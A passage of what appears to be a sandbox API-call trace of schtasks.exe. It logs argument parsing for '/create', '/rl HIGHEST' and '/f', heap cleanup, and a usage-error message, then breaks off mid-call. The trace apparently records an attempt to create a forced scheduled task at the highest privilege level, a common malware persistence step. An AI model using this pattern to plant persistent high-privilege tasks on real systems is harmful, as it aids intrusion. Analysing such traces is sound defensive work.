lstrlenW (lpString="change") returned 6 [0066.985] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.985] lstrlenW (lpString="rl") returned 2 [0066.985] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.985] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|change|") returned 8 [0066.985] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|rl|") returned 4 [0066.985] lstrlenW (lpString="|change|") returned 8 [0066.985] lstrlenW (lpString="|rl|") returned 4 [0066.985] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0066.985] SetLastError (dwErrCode=0x490) [0066.985] lstrlenW (lpString="run") returned 3 [0066.985] lstrlenW (lpString="run") returned 3 [0066.985] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.985] lstrlenW (lpString="rl") returned 2 [0066.986] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.986] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|run|") returned 5 [0066.986] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|rl|") returned 4 [0066.986] lstrlenW (lpString="|run|") returned 5 [0066.986] lstrlenW (lpString="|rl|") returned 4 [0066.986] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0066.986] SetLastError (dwErrCode=0x490) [0066.986] lstrlenW (lpString="end") returned 3 [0066.986] lstrlenW (lpString="end") returned 3 [0066.986] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.986] lstrlenW (lpString="rl") returned 2 [0066.986] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.986] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|end|") returned 5 [0066.986] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|rl|") returned 4 [0066.986] lstrlenW (lpString="|end|") returned 5 [0066.986] lstrlenW (lpString="|rl|") returned 4 [0066.986] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0066.986] SetLastError (dwErrCode=0x490) [0066.986] lstrlenW (lpString="showsid") returned 7 [0066.986] lstrlenW (lpString="showsid") returned 7 [0066.986] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.986] lstrlenW (lpString="rl") returned 2 [0066.986] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.987] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|showsid|") returned 9 [0066.987] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|rl|") returned 4 [0066.987] lstrlenW (lpString="|showsid|") returned 9 [0066.987] lstrlenW (lpString="|rl|") returned 4 [0066.987] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0066.987] SetLastError (dwErrCode=0x490) [0066.987] SetLastError (dwErrCode=0x490) [0066.987] SetLastError (dwErrCode=0x0) [0066.987] lstrlenW (lpString="/rl") returned 3 [0066.987] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0066.987] SetLastError (dwErrCode=0x490) [0066.987] SetLastError (dwErrCode=0x0) [0066.987] lstrlenW (lpString="/rl") returned 3 [0066.987] GetProcessHeap () returned 0x170000 [0066.987] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c6f0 [0066.987] GetProcessHeap () returned 0x170000 [0066.987] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cfa0 [0066.987] SetLastError (dwErrCode=0x0) [0066.987] SetLastError (dwErrCode=0x0) [0066.987] lstrlenW (lpString="HIGHEST") returned 7 [0066.987] lstrlenW (lpString="-/") returned 2 [0066.987] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0066.987] SetLastError (dwErrCode=0x490) [0066.987] SetLastError (dwErrCode=0x490) [0066.987] SetLastError (dwErrCode=0x0) [0066.988] lstrlenW (lpString="HIGHEST") returned 7 [0066.988] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0066.988] SetLastError (dwErrCode=0x490) [0066.988] SetLastError (dwErrCode=0x0) [0066.988] lstrlenW (lpString="HIGHEST") returned 7 [0066.988] GetProcessHeap () returned 0x170000 [0066.988] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18d6e0 [0066.988] GetProcessHeap () returned 0x170000 [0066.988] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cfd0 [0066.988] SetLastError (dwErrCode=0x0) [0066.988] SetLastError (dwErrCode=0x0) [0066.988] lstrlenW (lpString="/f") returned 2 [0066.988] lstrlenW (lpString="-/") returned 2 [0066.988] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.988] lstrlenW (lpString="?") returned 1 [0066.988] lstrlenW (lpString="?") returned 1 [0066.988] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.988] lstrlenW (lpString="f") returned 1 [0066.988] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.988] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|?|") returned 3 [0066.988] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|f|") returned 3 [0066.988] lstrlenW (lpString="|?|") returned 3 [0066.988] lstrlenW (lpString="|f|") returned 3 [0066.988] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0066.988] SetLastError (dwErrCode=0x490) [0066.988] lstrlenW (lpString="create") returned 6 [0066.989] lstrlenW (lpString="create") returned 6 [0066.989] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.989] lstrlenW (lpString="f") returned 1 [0066.989] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.989] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|create|") returned 8 [0066.989] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|f|") returned 3 [0066.989] lstrlenW (lpString="|create|") returned 8 [0066.989] lstrlenW (lpString="|f|") returned 3 [0066.989] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0066.989] SetLastError (dwErrCode=0x490) [0066.989] lstrlenW (lpString="delete") returned 6 [0066.989] lstrlenW (lpString="delete") returned 6 [0066.989] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.989] lstrlenW (lpString="f") returned 1 [0066.989] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.989] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|delete|") returned 8 [0066.989] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|f|") returned 3 [0066.989] lstrlenW (lpString="|delete|") returned 8 [0066.989] lstrlenW (lpString="|f|") returned 3 [0066.989] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0066.989] SetLastError (dwErrCode=0x490) [0066.989] lstrlenW (lpString="query") returned 5 [0066.989] lstrlenW (lpString="query") returned 5 [0066.989] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.990] lstrlenW (lpString="f") returned 1 [0066.990] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.990] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|query|") returned 7 [0066.990] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|f|") returned 3 [0066.990] lstrlenW (lpString="|query|") returned 7 [0066.990] lstrlenW (lpString="|f|") returned 3 [0066.990] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0066.990] SetLastError (dwErrCode=0x490) [0066.990] lstrlenW (lpString="change") returned 6 [0066.990] lstrlenW (lpString="change") returned 6 [0066.990] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.990] lstrlenW (lpString="f") returned 1 [0066.990] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.990] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|change|") returned 8 [0066.990] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|f|") returned 3 [0066.990] lstrlenW (lpString="|change|") returned 8 [0066.990] lstrlenW (lpString="|f|") returned 3 [0066.990] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0066.990] SetLastError (dwErrCode=0x490) [0066.990] lstrlenW (lpString="run") returned 3 [0066.990] lstrlenW (lpString="run") returned 3 [0066.990] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.990] lstrlenW (lpString="f") returned 1 [0066.991] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.991] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|run|") returned 5 [0066.991] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|f|") returned 3 [0066.991] lstrlenW (lpString="|run|") returned 5 [0066.991] lstrlenW (lpString="|f|") returned 3 [0066.991] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0066.991] SetLastError (dwErrCode=0x490) [0066.991] lstrlenW (lpString="end") returned 3 [0066.991] lstrlenW (lpString="end") returned 3 [0066.991] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.991] lstrlenW (lpString="f") returned 1 [0066.991] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.991] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|end|") returned 5 [0066.991] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|f|") returned 3 [0066.991] lstrlenW (lpString="|end|") returned 5 [0066.991] lstrlenW (lpString="|f|") returned 3 [0066.991] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0066.991] SetLastError (dwErrCode=0x490) [0066.991] lstrlenW (lpString="showsid") returned 7 [0066.991] lstrlenW (lpString="showsid") returned 7 [0066.991] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.991] lstrlenW (lpString="f") returned 1 [0066.991] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.992] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|showsid|") returned 9 [0066.992] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|f|") returned 3 [0066.992] lstrlenW (lpString="|showsid|") returned 9 [0066.992] lstrlenW (lpString="|f|") returned 3 [0066.992] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0066.992] SetLastError (dwErrCode=0x490) [0066.992] SetLastError (dwErrCode=0x490) [0066.992] SetLastError (dwErrCode=0x0) [0066.992] lstrlenW (lpString="/f") returned 2 [0066.992] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0066.992] SetLastError (dwErrCode=0x490) [0066.992] SetLastError (dwErrCode=0x0) [0066.992] lstrlenW (lpString="/f") returned 2 [0066.992] GetProcessHeap () returned 0x170000 [0066.992] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x6) returned 0x18deb0 [0066.992] GetProcessHeap () returned 0x170000 [0066.992] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18d000 [0066.992] SetLastError (dwErrCode=0x0) [0066.992] GetProcessHeap () returned 0x170000 [0066.992] GetProcessHeap () returned 0x170000 [0066.992] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3c0) returned 1 [0066.992] GetProcessHeap () returned 0x170000 [0066.992] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c3c0) returned 0x8 [0066.992] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3c0 | out: hHeap=0x170000) returned 1 [0066.992] GetProcessHeap () returned 0x170000 [0066.993] GetProcessHeap () returned 0x170000 [0066.993] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdf0) returned 1 [0066.993] GetProcessHeap () returned 0x170000 [0066.993] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cdf0) returned 0x20 [0066.993] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdf0 | out: hHeap=0x170000) returned 1 [0066.993] GetProcessHeap () returned 0x170000 [0066.993] GetProcessHeap () returned 0x170000 [0066.994] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce20) returned 1 [0066.994] GetProcessHeap () returned 0x170000 [0066.994] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce20) returned 0x20 [0066.994] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce20 | out: hHeap=0x170000) returned 1 [0066.994] GetProcessHeap () returned 0x170000 [0066.994] GetProcessHeap () returned 0x170000 [0066.994] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce50) returned 1 [0066.994] GetProcessHeap () returned 0x170000 [0066.994] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce50) returned 0x20 [0066.995] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce50 | out: hHeap=0x170000) returned 1 [0066.995] GetProcessHeap () returned 0x170000 [0066.995] GetProcessHeap () returned 0x170000 [0066.995] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c450) returned 1 [0066.995] GetProcessHeap () returned 0x170000 [0066.995] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c450) returned 0x8 [0066.995] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c450 | out: hHeap=0x170000) returned 1 [0066.995] GetProcessHeap () returned 0x170000 [0066.995] GetProcessHeap () returned 0x170000 [0066.995] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce80) returned 1 [0066.995] GetProcessHeap () returned 0x170000 [0066.995] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce80) returned 0x20 [0066.996] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce80 | out: hHeap=0x170000) returned 1 [0066.996] GetProcessHeap () returned 0x170000 [0066.996] GetProcessHeap () returned 0x170000 [0066.996] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c470) returned 1 [0066.996] GetProcessHeap () returned 0x170000 [0066.996] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c470) returned 0xe [0066.996] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c470 | out: hHeap=0x170000) returned 1 [0066.996] GetProcessHeap () returned 0x170000 [0066.996] GetProcessHeap () returned 0x170000 [0066.996] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ceb0) returned 1 [0066.996] GetProcessHeap () returned 0x170000 [0066.996] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ceb0) returned 0x20 [0066.997] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ceb0 | out: hHeap=0x170000) returned 1 [0066.997] GetProcessHeap () returned 0x170000 [0066.997] GetProcessHeap () returned 0x170000 [0066.997] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c490) returned 1 [0066.997] GetProcessHeap () returned 0x170000 [0066.997] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c490) returned 0x8 [0066.997] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c490 | out: hHeap=0x170000) returned 1 [0066.997] GetProcessHeap () returned 0x170000 [0066.997] GetProcessHeap () returned 0x170000 [0066.997] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cee0) returned 1 [0066.997] GetProcessHeap () returned 0x170000 [0066.997] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cee0) returned 0x20 [0066.998] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cee0 | out: hHeap=0x170000) returned 1 [0066.998] GetProcessHeap () returned 0x170000 [0066.998] GetProcessHeap () returned 0x170000 [0066.998] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c4b0) returned 1 [0066.998] GetProcessHeap () returned 0x170000 [0066.998] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c4b0) returned 0x6 [0066.998] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c4b0 | out: hHeap=0x170000) returned 1 [0066.998] GetProcessHeap () returned 0x170000 [0066.998] GetProcessHeap () returned 0x170000 [0066.998] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf10) returned 1 [0066.998] GetProcessHeap () returned 0x170000 [0066.998] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cf10) returned 0x20 [0066.999] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf10 | out: hHeap=0x170000) returned 1 [0066.999] GetProcessHeap () returned 0x170000 [0066.999] GetProcessHeap () returned 0x170000 [0066.999] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c4d0) returned 1 [0066.999] GetProcessHeap () returned 0x170000 [0066.999] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c4d0) returned 0x8 [0066.999] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c4d0 | out: hHeap=0x170000) returned 1 [0066.999] GetProcessHeap () returned 0x170000 [0066.999] GetProcessHeap () returned 0x170000 [0066.999] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf40) returned 1 [0066.999] GetProcessHeap () returned 0x170000 [0066.999] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cf40) returned 0x20 [0066.999] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf40 | out: hHeap=0x170000) returned 1 [0066.999] GetProcessHeap () returned 0x170000 [0067.000] GetProcessHeap () returned 0x170000 [0067.000] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c620) returned 1 [0067.000] GetProcessHeap () returned 0x170000 [0067.000] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c620) returned 0xc4 [0067.000] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c620 | out: hHeap=0x170000) returned 1 [0067.000] GetProcessHeap () returned 0x170000 [0067.000] GetProcessHeap () returned 0x170000 [0067.000] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf70) returned 1 [0067.000] GetProcessHeap () returned 0x170000 [0067.000] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cf70) returned 0x20 [0067.000] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf70 | out: hHeap=0x170000) returned 1 [0067.000] GetProcessHeap () returned 0x170000 [0067.001] GetProcessHeap () returned 0x170000 [0067.001] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c6f0) returned 1 [0067.001] GetProcessHeap () returned 0x170000 [0067.001] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c6f0) returned 0x8 [0067.001] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c6f0 | out: hHeap=0x170000) returned 1 [0067.001] GetProcessHeap () returned 0x170000 [0067.001] GetProcessHeap () returned 0x170000 [0067.001] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cfa0) returned 1 [0067.001] GetProcessHeap () returned 0x170000 [0067.001] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cfa0) returned 0x20 [0067.001] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cfa0 | out: hHeap=0x170000) returned 1 [0067.001] GetProcessHeap () returned 0x170000 [0067.001] GetProcessHeap () returned 0x170000 [0067.001] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6e0) returned 1 [0067.001] GetProcessHeap () returned 0x170000 [0067.001] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d6e0) returned 0x10 [0067.001] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6e0 | out: hHeap=0x170000) returned 1 [0067.001] GetProcessHeap () returned 0x170000 [0067.001] GetProcessHeap () returned 0x170000 [0067.001] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cfd0) returned 1 [0067.001] GetProcessHeap () returned 0x170000 [0067.001] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cfd0) returned 0x20 [0067.002] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cfd0 | out: hHeap=0x170000) returned 1 [0067.002] GetProcessHeap () returned 0x170000 [0067.002] GetProcessHeap () returned 0x170000 [0067.002] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18deb0) returned 1 [0067.002] GetProcessHeap () returned 0x170000 [0067.002] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18deb0) returned 0x6 [0067.002] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18deb0 | out: hHeap=0x170000) returned 1 [0067.002] GetProcessHeap () returned 0x170000 [0067.002] GetProcessHeap () returned 0x170000 [0067.002] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d000) returned 1 [0067.002] GetProcessHeap () returned 0x170000 [0067.002] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d000) returned 0x20 [0067.002] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d000 | out: hHeap=0x170000) returned 1 [0067.003] GetProcessHeap () returned 0x170000 [0067.003] GetProcessHeap () returned 0x170000 [0067.003] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x1855f0) returned 1 [0067.003] GetProcessHeap () returned 0x170000 [0067.003] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1855f0) returned 0x18 [0067.003] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1855f0 | out: hHeap=0x170000) returned 1 [0067.003] SetLastError (dwErrCode=0x0) [0067.003] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0067.003] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0067.003] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0067.003] VerifyVersionInfoW (in: lpVersionInformation=0x11c650, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11c650) returned 1 [0067.003] SetLastError (dwErrCode=0x0) [0067.003] lstrlenW (lpString="create") returned 6 [0067.003] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0067.003] SetLastError (dwErrCode=0x490) [0067.004] SetLastError (dwErrCode=0x0) [0067.004] lstrlenW (lpString="create") returned 6 [0067.004] GetProcessHeap () returned 0x170000 [0067.004] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18d000 [0067.004] GetProcessHeap () returned 0x170000 [0067.004] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18d6e0 [0067.004] _memicmp (_Buf1=0x18d6e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.004] GetProcessHeap () returned 0x170000 [0067.004] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x16) returned 0x18d700 [0067.004] SetLastError (dwErrCode=0x0) [0067.004] _memicmp (_Buf1=0x18bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.004] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bdf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0067.004] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0067.005] GetProcessHeap () returned 0x170000 [0067.005] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x74e) returned 0x18deb0 [0067.005] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x18deb0 | out: lpData=0x18deb0) returned 1 [0067.005] VerQueryValueW (in: pBlock=0x18deb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11c738, puLen=0x11c7a0 | out: lplpBuffer=0x11c738*=0x18e24c, puLen=0x11c7a0) returned 1 [0067.005] _memicmp (_Buf1=0x18bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.005] _vsnwprintf (in: _Buffer=0x18bdf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11c718 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0067.005] VerQueryValueW (in: pBlock=0x18deb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11c7a8, puLen=0x11c798 | out: lplpBuffer=0x11c7a8*=0x18e078, puLen=0x11c798) returned 1 [0067.005] lstrlenW (lpString="schtasks.exe") returned 12 [0067.005] lstrlenW (lpString="schtasks.exe") returned 12 [0067.005] lstrlenW (lpString=".EXE") returned 4 [0067.005] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0067.005] lstrlenW (lpString="schtasks.exe") returned 12 [0067.006] lstrlenW (lpString=".EXE") returned 4 [0067.006] lstrlenW (lpString="schtasks") returned 8 [0067.006] lstrlenW (lpString="/create") returned 7 [0067.006] _memicmp (_Buf1=0x18bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.006] _vsnwprintf (in: _Buffer=0x18bdf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x11c718 | out: _Buffer="schtasks /create") returned 16 [0067.006] _memicmp (_Buf1=0x18bc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.006] GetProcessHeap () returned 0x170000 [0067.006] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cfd0 [0067.006] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.006] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0067.006] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0067.006] GetProcessHeap () returned 0x170000 [0067.006] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x30) returned 0x187cb0 [0067.006] _vsnwprintf (in: _Buffer=0x18c1f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11c718 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0067.006] GetProcessHeap () returned 0x170000 [0067.006] GetProcessHeap () returned 0x170000 [0067.006] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18deb0) returned 1 [0067.006] GetProcessHeap () returned 0x170000 [0067.006] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, 